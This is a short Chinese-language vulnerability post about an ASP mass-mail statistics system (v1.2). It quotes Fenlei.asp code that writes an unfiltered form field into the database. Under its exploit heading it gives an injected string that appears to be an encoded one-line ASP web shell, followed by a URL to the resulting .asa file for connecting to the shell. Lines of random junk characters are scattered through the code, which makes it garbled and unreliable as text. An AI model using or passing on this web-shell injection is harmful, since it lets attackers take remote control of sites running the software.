铜板儿网邮件群发统计系统 v1.2 漏洞

admin

'Fenlei.asp
( N5 E! k& m/ U; r
IF Request.QueryString("Action")="del" Then
ID=Request.QueryString("ID")
IF Countss ("tui","Fenlei",ID )<>0 then
'略
( H  q$ G8 L% [3 v$ Z6 a) z# {IF Request.QueryString("Action")="Add" Then
2 ]; V+ T  Z+ nTname=Request.Form("Typename")
Set Rs=Server.CreateObject("adodb.Recordset")
! Y) r( V* R2 m5 ISql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,3
) }& Q, ]) t- N% c* G/ CRs.Addnew
* V- l% B+ y& y. s! L9 |( l. aRs("Typename")=Tname
% c: q. M2 x, G'略
( k; ?& h9 H1 R, V/ YSet Rs=Server.CreateObject("adodb.Recordset")
5 m6 N* z, K* ESql="Select * From Fenlei Order by id Desc "
Rs.Open Sql,Conn,1,1
7 N7 x) B/ x1 v5 K4 m'略
& g5 q0 _8 ?9 T  o0 r0 \! @8 @%>
# e6 P! i( J" g" }
1 e9 C- p. P  R3 j7 D
$ s1 W0 q* e% z0 Z# d, [
/ f3 h. w" A2 O1 W- ]没有过滤，直接写入数据库。
3 {9 a" J8 J9 P2 B$ ~
利用方法：

插入：┼攠數畣整爠煥敵瑳∨≡┩>
2 l4 Y! m, o" Q9 U/ |
5 V' v7 ^4 A1 ?4 E+ Y" M
连接： http://www.xxx.com/###tongbaner.asa
; P5 q! E( u* r: [& {'默认安装文件：
+ O* @4 K& k* b/ {: {& G" j'install.asp